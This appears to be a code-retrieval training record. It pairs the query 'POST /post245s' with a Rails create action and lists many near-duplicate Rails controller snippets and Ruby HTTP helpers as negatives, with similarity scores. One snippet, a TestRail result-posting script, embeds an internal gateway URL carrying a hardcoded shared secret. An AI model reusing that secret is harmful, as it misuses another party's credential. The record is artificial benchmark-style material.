[ "def new\n @post227 = Post227.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post227 }\n end\n end", "def new\n @post181 = Post181.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post181 }\n end\n end", "def new\n @post246 = Post246.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post246 }\n end\n end", "def new\n @post55 = Post55.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post55 }\n end\n end", "def new\n @post197 = Post197.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post197 }\n end\n end", "def new\n @post253 = Post253.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post253 }\n end\n end", "def new\n @post125 = Post125.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post125 }\n end\n end", "def new\n @post275 = Post275.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post275 }\n end\n end", "def new\n @post57 = Post57.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post57 }\n end\n end", "def new\n @post75 = Post75.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post75 }\n end\n end", "def new\n @post150 = Post150.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post150 }\n end\n end", "def new\n @post105 = Post105.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post105 }\n end\n end", "def new\n @post168 = Post168.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post168 }\n end\n end", "def new\n @post156 = Post156.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post156 }\n end\n end", "def new\n @post78 = Post78.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post78 }\n end\n end", "def new\n @post295 = Post295.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post295 }\n end\n end", "def new\n @post74 = Post74.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post74 }\n end\n end", "def new\n @post342 = Post342.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post342 }\n end\n end", "def new\n @post445 = Post445.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post445 }\n end\n end", "def new\n @post101 = Post101.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post101 }\n end\n end", "def new\n @post182 = Post182.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post182 }\n end\n end", "def new\n @post50 = Post50.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post50 }\n end\n end", "def new\n @post350 = Post350.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post350 }\n end\n end", "def new\n @post149 = Post149.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post149 }\n end\n end", "def new\n @post99 = Post99.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post99 }\n end\n end", "def new\n @post120 = Post120.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post120 }\n end\n end", "def new\n @post306 = Post306.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post306 }\n end\n end", "def new\n @post184 = Post184.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post184 }\n end\n end", "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post }\n end\n make_rss\n end", "def new\n @post109 = Post109.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post109 }\n end\n end", "def new\n @post273 = Post273.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post273 }\n end\n end", "def new\n @post154 = Post154.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post154 }\n end\n end", "def new\n @post183 = Post183.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post183 }\n end\n end", "def new\n @post193 = Post193.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post193 }\n end\n end", "def new\n @post335 = Post335.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post335 }\n end\n end", "def new\n @post196 = Post196.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post196 }\n end\n end", "def new\n @post54 = Post54.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post54 }\n end\n end", "def new\n @post110 = Post110.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post110 }\n end\n end", "def new\n @post85 = Post85.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post85 }\n end\n end", "def new\n @post139 = Post139.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post139 }\n end\n end", "def new\n @post260 = Post260.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post260 }\n end\n end", "def new\n @post328 = Post328.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post328 }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post }\n end\n end", "def new\n @post267 = Post267.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post267 }\n end\n end", "def new\n @post231 = Post231.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post231 }\n end\n end", "def new\n @post257 = Post257.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post257 }\n end\n end", "def new\n @post349 = Post349.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post349 }\n end\n end", "def new\n @post117 = Post117.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post117 }\n end\n end", "def new\n @post297 = Post297.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post297 }\n end\n end", "def new\n @post143 = Post143.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post143 }\n end\n end", "def new\n @post321 = Post321.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post321 }\n end\n end", "def new\n @post310 = Post310.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post310 }\n end\n end", "def new\n @post107 = Post107.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post107 }\n end\n end", "def new\n @post77 = Post77.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post77 }\n end\n end", "def new\n @post134 = Post134.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post134 }\n end\n end", "def new\n @post130 = Post130.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post130 }\n end\n end", "def new\n @post284 = Post284.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post284 }\n end\n end", "def new\n @post221 = Post221.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post221 }\n end\n end", "def new\n @post230 = Post230.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post230 }\n end\n end", "def new\n @post217 = Post217.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post217 }\n end\n end", "def new\n @post377 = Post377.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post377 }\n end\n end", "def new\n @post133 = Post133.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post133 }\n end\n end", "def new\n @post251 = Post251.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post251 }\n end\n end", "def new\n @post305 = Post305.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post305 }\n end\n end", "def new\n @post157 = Post157.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post157 }\n end\n end", "def new\n @post290 = Post290.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post290 }\n end\n end", "def new\n @post65 = Post65.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post65 }\n end\n end", "def new\n @post453 = Post453.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post453 }\n end\n end", "def new\n @post425 = Post425.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post425 }\n end\n end", "def new\n @post483 = Post483.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post483 }\n end\n end", "def new\n @post33 = Post33.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post33 }\n end\n end", "def new\n @post358 = Post358.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post358 }\n end\n end", "def new\n @post248 = Post248.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post248 }\n end\n end", "def new\n @post409 = Post409.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post409 }\n end\n end", "def new\n @post122 = Post122.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post122 }\n end\n end", "def new\n @post174 = Post174.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post174 }\n end\n end", "def new\n @post215 = Post215.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post215 }\n end\n end", "def new\n @post459 = Post459.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post459 }\n end\n end", "def new\n @post272 = Post272.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post272 }\n end\n end", "def new\n @post59 = Post59.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post59 }\n end\n end", "def new\n @post228 = Post228.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post228 }\n end\n end", "def new\n @post436 = Post436.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post436 }\n end\n end", "def new\n @post106 = Post106.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post106 }\n end\n end", "def new\n @post58 = Post58.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post58 }\n end\n end", "def new\n @post276 = Post276.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post276 }\n end\n end", "def new\n @post129 = Post129.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post129 }\n end\n end", "def new\n \n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post }\n end\n end", "def new\n @post10 = Post10.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post10 }\n end\n end", "def new\n @post385 = Post385.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post385 }\n end\n end", "def new\n @post191 = Post191.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post191 }\n end\n end", "def new\n @post489 = Post489.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post489 }\n end\n end", "def new\n @post41 = Post41.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post41 }\n end\n end", "def new\n @post238 = Post238.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post238 }\n end\n end", "def new\n @post249 = Post249.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post249 }\n end\n end", "def new\n @post470 = Post470.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post470 }\n end\n end", "def new\n @post464 = Post464.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post464 }\n end\n end", "def new\n @post446 = Post446.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post446 }\n end\n end", "def new\n @post252 = Post252.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post252 }\n end\n end", "def new\n @post339 = Post339.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post339 }\n end\n end", "def new\n @post278 = Post278.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post278 }\n end\n end" ]
[ "0.75468683", "0.7529592", "0.7527816", "0.7523501", "0.75135404", "0.7512198", "0.75068295", "0.74971044", "0.74957514", "0.7480228", "0.747276", "0.74702656", "0.74669313", "0.7466168", "0.7459356", "0.74566287", "0.7451512", "0.744815", "0.7447317", "0.7440483", "0.7439383", "0.74363196", "0.7435901", "0.7435268", "0.7420807", "0.7420261", "0.7417129", "0.74168247", "0.7415696", "0.7414497", "0.7413792", "0.7411856", "0.74074763", "0.7399775", "0.7399472", "0.7396365", "0.7385511", "0.73807365", "0.73794526", "0.7378249", "0.73757166", "0.7374723", "0.73744285", "0.73718387", "0.73657894", "0.7356025", "0.73540306", "0.7348104", "0.73461276", "0.7338417", "0.73382944", "0.73374784", "0.73353714", "0.7333858", "0.7333364", "0.73300666", "0.7328558", "0.73254126", "0.732228", "0.7322126", "0.73210984", "0.73196393", "0.73162854", "0.73128986", "0.7311512", "0.7310322", "0.7309867", "0.7309585", "0.7309352", "0.73021764", "0.73010033", "0.73009825", "0.7300879", "0.7300366", "0.72991854", "0.7295128", "0.72907835", "0.72846323", "0.7283572", "0.72835314", "0.7282607", "0.7281182", "0.7281156", "0.7280814", "0.7278925", "0.7274327", "0.7272997", "0.7269967", "0.7260915", "0.7256707", "0.72558206", "0.7254688", "0.72541744", "0.72521055", "0.7236673", "0.7234221", "0.7232346", "0.7231566", "0.7226115", "0.72205216" ]
0.7602735
0
POST /post245s POST /post245s.xml
def create @post245 = Post245.new(params[:post245]) respond_to do |format| if @post245.save format.html { redirect_to(@post245, :notice => 'Post245 was successfully created.') } format.xml { render :xml => @post245, :status => :created, :location => @post245 } else format.html { render :action => "new" } format.xml { render :xml => @post245.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end", "def post #:doc:\n end", "def post(*args)\n request :post, *args\n end", "def posttestrail(runId, caseId, statusId, versionId, elapsedseconds)\r\n\r\n uri = \"http://testrailgw.jupiter.bbc.co.uk/?action=add_result_for_case&run_id=#{runId}&case_id=#{caseId}&status_id=#{statusId}&version=#{versionId}&elapsed_seconds=#{elapsedseconds}&sharedSecret=thI5iSourSHAREDsecret\"\r\n #uri = \"http://testrailgw.jupiter.bbc.co.uk/?action=add_result_for_case&run_id=110324&case_id=665022&status_id=1&version=Test&elapsed_seconds=12&sharedSecret=thI5iSourSHAREDsecret\"\r\n\r\n uri = uri.gsub(\" \", \"%20\")\r\n xml_data = open(uri).read\r\n if(xml_data.include? '\"test_id\":')\r\n recorded = xml_data.split('\"test_id\":')[1]\r\n testID = recorded.split(',\"status_id\"')[0]\r\n puts \"TestID:\"+testID\r\n else\r\n puts xml_data\r\n fail \"Cannot Post result to Testrail, check Webservice\"\r\n end\r\n\r\n timeStamp = Time.now.strftime (\"posted at %H:%M %d/%m/%Y\")\r\n files = \"//zgbwcfs3005.jupiter.bbc.co.uk/QA/Jenkins/Jupiter/ICETEAresultupdatelog.txt\"\r\n f = File.open(files,'a')\r\n f.write \"#{testID} #{timeStamp}\"\r\n f.close\r\nend", "def post(*args)\n request(:post, *args)\n end", "def test_should_create_post_via_API_XML\r\n get \"/logout\"\r\n post \"/forum_posts.xml\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n end", "def post(body)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true if uri.scheme == 'https'\n\n request = Net::HTTP::Post.new(uri)\n request['Content-Type'] = 'text/xml'\n request['Accept-Language'] = locale if locale\n request.body = body\n\n response = http.request(request)\n\n Response.new(response, uri)\n end", "def POST; end", "def create\n @post168 = Post168.new(params[:post168])\n\n respond_to do |format|\n if @post168.save\n format.html { redirect_to(@post168, :notice => 'Post168 was successfully created.') }\n format.xml { render :xml => @post168, :status => :created, :location => @post168 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post168.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(uri, doc = nil, options = {})\n execute(uri, :post, options, doc)\n end", "def create\n @post246 = Post246.new(params[:post246])\n\n respond_to do |format|\n if @post246.save\n format.html { redirect_to(@post246, :notice => 'Post246 was successfully created.') }\n format.xml { render :xml => @post246, :status => :created, :location => @post246 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post246.errors, :status => :unprocessable_entity }\n end\n end\n end", "def send_post(data_xml,url)\r\n result = @client.post(self.target_uri(url), :body => data_xml , :head => {'Content-Type' => 'application/xml'} ) \r\n raise \"Invalid status #{result.http_status} from server #{@host}:#{@port}\" if(result.http_status != '200') \r\n #reply = Reply.from_xml(result.http_body)\r\n if block_given?\r\n yield(result.http_body)\r\n else\r\n result.http_body\r\n end\r\n end", "def create\n @post275 = Post275.new(params[:post275])\n\n respond_to do |format|\n if @post275.save\n format.html { redirect_to(@post275, :notice => 'Post275 was successfully created.') }\n format.xml { render :xml => @post275, :status => :created, :location => @post275 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post275.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post156 = Post156.new(params[:post156])\n\n respond_to do |format|\n if @post156.save\n format.html { redirect_to(@post156, :notice => 'Post156 was successfully created.') }\n format.xml { render :xml => @post156, :status => :created, :location => @post156 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post156.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post; end", "def create\n @post154 = Post154.new(params[:post154])\n\n respond_to do |format|\n if @post154.save\n format.html { redirect_to(@post154, :notice => 'Post154 was successfully created.') }\n format.xml { render :xml => @post154, :status => :created, :location => @post154 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post154.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(path, **args); end", "def post\r\n end", "def create\n @post157 = Post157.new(params[:post157])\n\n respond_to do |format|\n if @post157.save\n format.html { redirect_to(@post157, :notice => 'Post157 was successfully created.') }\n format.xml { render :xml => @post157, :status => :created, :location => @post157 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post157.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(uri, params = {})\n send_request(uri, :post, params)\n end", "def post\n doc = Nokogiri::XML(request.body)\n id= (doc/'id').text\n # p = Post.exists?(id) ? Post.find(id) : Post.new\n p= Post.find_or_create_by_intranet_id id\n p.update_attributes :subject => (doc/'subject').text,\n :body => (doc/'body').text, :post_type => (doc/'post-type').text,\n :pic => (doc/'pic') .text, :begin_on=>(doc/'begin-on').text,\n :pic_postimg => (doc/'pic-postimg').text,\n :video => (doc/'video').text, \n :end_on => (doc/'end-on').text, :stick => (doc/'stick').text \n render :text => \"ok\"\n end", "def create\n @post445 = Post445.new(params[:post445])\n\n respond_to do |format|\n if @post445.save\n format.html { redirect_to(@post445, :notice => 'Post445 was successfully created.') }\n format.xml { render :xml => @post445, :status => :created, :location => @post445 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post445.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post\n end", "def post(method, params = {})\n url = make_url method, params\n query = url.query\n url.query = nil\n\n req = Net::HTTP::Post.new url.path\n req.body = query\n req.content_type = 'application/x-www-form-urlencoded'\n\n res = Net::HTTP.start url.host, url.port do |http|\n http.request req\n end\n\n xml = Nokogiri::XML(res.body, nil, nil, 0)\n\n check_error xml\n\n parse_response xml\n rescue SystemCallError, SocketError, Timeout::Error, IOError,\n Nokogiri::XML::SyntaxError => e\n raise CommunicationError.new(e)\n rescue Net::HTTPError => e\n xml = Nokogiri::XML(e.res.body) { |cfg| cfg.strict }\n check_error xml\n raise CommunicationError.new(e)\n end", "def post\n resource.post(request, response)\n end", "def create\n @post251 = Post251.new(params[:post251])\n\n respond_to do |format|\n if @post251.save\n format.html { redirect_to(@post251, :notice => 'Post251 was successfully created.') }\n format.xml { render :xml => @post251, :status => :created, :location => @post251 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post251.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post endpoint, data\n do_request :post, endpoint, data\n end", "def create\n @post253 = Post253.new(params[:post253])\n\n respond_to do |format|\n if @post253.save\n format.html { redirect_to(@post253, :notice => 'Post253 was successfully created.') }\n format.xml { render :xml => @post253, :status => :created, :location => @post253 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post253.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post78 = Post78.new(params[:post78])\n\n respond_to do |format|\n if @post78.save\n format.html { redirect_to(@post78, :notice => 'Post78 was successfully created.') }\n format.xml { render :xml => @post78, :status => :created, :location => @post78 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post78.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end", "def post(*args)\n Request.post(*args)\n end", "def post_xml_64(xml=:example_response)\n post \"/auth/saml/callback\", {'SAMLResponse' => load_xml_64(xml)}\nend", "def create\n @post181 = Post181.new(params[:post181])\n\n respond_to do |format|\n if @post181.save\n format.html { redirect_to(@post181, :notice => 'Post181 was successfully created.') }\n format.xml { render :xml => @post181, :status => :created, :location => @post181 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post181.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post405 = Post405.new(params[:post405])\n\n respond_to do |format|\n if @post405.save\n format.html { redirect_to(@post405, :notice => 'Post405 was successfully created.') }\n format.xml { render :xml => @post405, :status => :created, :location => @post405 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post405.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post139 = Post139.new(params[:post139])\n\n respond_to do |format|\n if @post139.save\n format.html { redirect_to(@post139, :notice => 'Post139 was successfully created.') }\n format.xml { render :xml => @post139, :status => :created, :location => @post139 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post139.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(action, **args); end", "def create\n @post193 = Post193.new(params[:post193])\n\n respond_to do |format|\n if @post193.save\n format.html { redirect_to(@post193, :notice => 'Post193 was successfully created.') }\n format.xml { render :xml => @post193, :status => :created, :location => @post193 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post193.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post248 = Post248.new(params[:post248])\n\n respond_to do |format|\n if @post248.save\n format.html { redirect_to(@post248, :notice => 'Post248 was successfully created.') }\n format.xml { render :xml => @post248, :status => :created, :location => @post248 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post248.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post335 = Post335.new(params[:post335])\n\n respond_to do |format|\n if @post335.save\n format.html { redirect_to(@post335, :notice => 'Post335 was successfully created.') }\n format.xml { render :xml => @post335, :status => :created, :location => @post335 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post335.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(*args)\n prepare_request(:post, args)\n @@client.add(:post, @path, *args)\n end", "def post(path, params={})\n signature_params = params.values.any?{|value| value.respond_to?(:to_io)} ? {} : params\n request(:post, path, params.to_xml, signature_params)\n end", "def create\n @post446 = Post446.new(params[:post446])\n\n respond_to do |format|\n if @post446.save\n format.html { redirect_to(@post446, :notice => 'Post446 was successfully created.') }\n format.xml { render :xml => @post446, :status => :created, :location => @post446 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post446.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post197 = Post197.new(params[:post197])\n\n respond_to do |format|\n if @post197.save\n format.html { redirect_to(@post197, :notice => 'Post197 was successfully created.') }\n format.xml { render :xml => @post197, :status => :created, :location => @post197 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post197.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post273 = Post273.new(params[:post273])\n\n respond_to do |format|\n if @post273.save\n format.html { redirect_to(@post273, :notice => 'Post273 was successfully created.') }\n format.xml { render :xml => @post273, :status => :created, :location => @post273 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post273.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post184 = Post184.new(params[:post184])\n\n respond_to do |format|\n if @post184.save\n format.html { redirect_to(@post184, :notice => 'Post184 was successfully created.') }\n format.xml { render :xml => @post184, :status => :created, :location => @post184 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post184.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(*args)\n execute(:post, *args)\n end", "def create\n @post295 = Post295.new(params[:post295])\n\n respond_to do |format|\n if @post295.save\n format.html { redirect_to(@post295, :notice => 'Post295 was successfully created.') }\n format.xml { render :xml => @post295, :status => :created, :location => @post295 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post295.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post328 = Post328.new(params[:post328])\n\n respond_to do |format|\n if @post328.save\n format.html { redirect_to(@post328, :notice => 'Post328 was successfully created.') }\n format.xml { render :xml => @post328, :status => :created, :location => @post328 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post328.errors, :status => :unprocessable_entity }\n end\n end\n end", "def http_post(request, response)\n path = request.path\n\n # Only handling xml\n content_type = request.header('Content-Type')\n return nil unless content_type.index('application/xml') || content_type.index('text/xml')\n\n # Making sure the node exists\n begin\n node = @server.tree.node_for_path(path)\n rescue Dav::Exception::NotFound\n return nil\n end\n\n request_body = request.body_as_string\n\n # If this request handler could not deal with this POST request, it\n # will return 'null' and other plugins get a chance to handle the\n # request.\n #\n # However, we already requested the full body. This is a problem,\n # because a body can only be read once. This is why we preemptively\n # re-populated the request body with the existing data.\n request.body = request_body\n\n document_type_box = Box.new('')\n message = @server.xml.parse(request_body, request.url, document_type_box)\n document_type = document_type_box.value\n\n case document_type\n # Dealing with the 'share' document, which modified invitees on a\n # calendar.\n when \"{#{Plugin::NS_CALENDARSERVER}}share\"\n # We can only deal with IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-calendar-share'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.update_shares(message.set, message.remove)\n\n response.status = 200\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the event chain\n return false\n # The invite-reply document is sent when the user replies to an\n # invitation of a calendar share.\n when \"{#{Plugin::NS_CALENDARSERVER}}invite-reply\"\n\n # This only works on the calendar-home-root node.\n return true unless node.is_a?(CalendarHome)\n\n @server.transaction_type = 'post-invite-reply'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n url = node.share_reply(\n message.href,\n message.status,\n message.calendar_uri,\n message.in_reply_to,\n message.summary\n )\n\n response.status = 200\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n if url\n writer = @server.xml.writer\n writer.open_memory\n writer.start_document\n writer.start_element(\"{#{Plugin::NS_CALENDARSERVER}}shared-as\")\n writer.write(Dav::Xml::Property::Href.new(url))\n writer.end_element\n response.update_header('Content-Type', 'application/xml')\n response.body = writer.output_memory\n end\n\n # Breaking the event chain\n return false\n when \"{#{Plugin::NS_CALENDARSERVER}}publish-calendar\"\n # We can only deal with IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-publish-calendar'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.publish_status = true\n\n # iCloud sends back the 202, so we will too.\n response.status = 202\n\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the event chain\n return false\n when \"{#{Plugin::NS_CALENDARSERVER}}unpublish-calendar\"\n # We can only deal with IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-unpublish-calendar'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.publish_status = false\n\n response.status = 200\n\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the 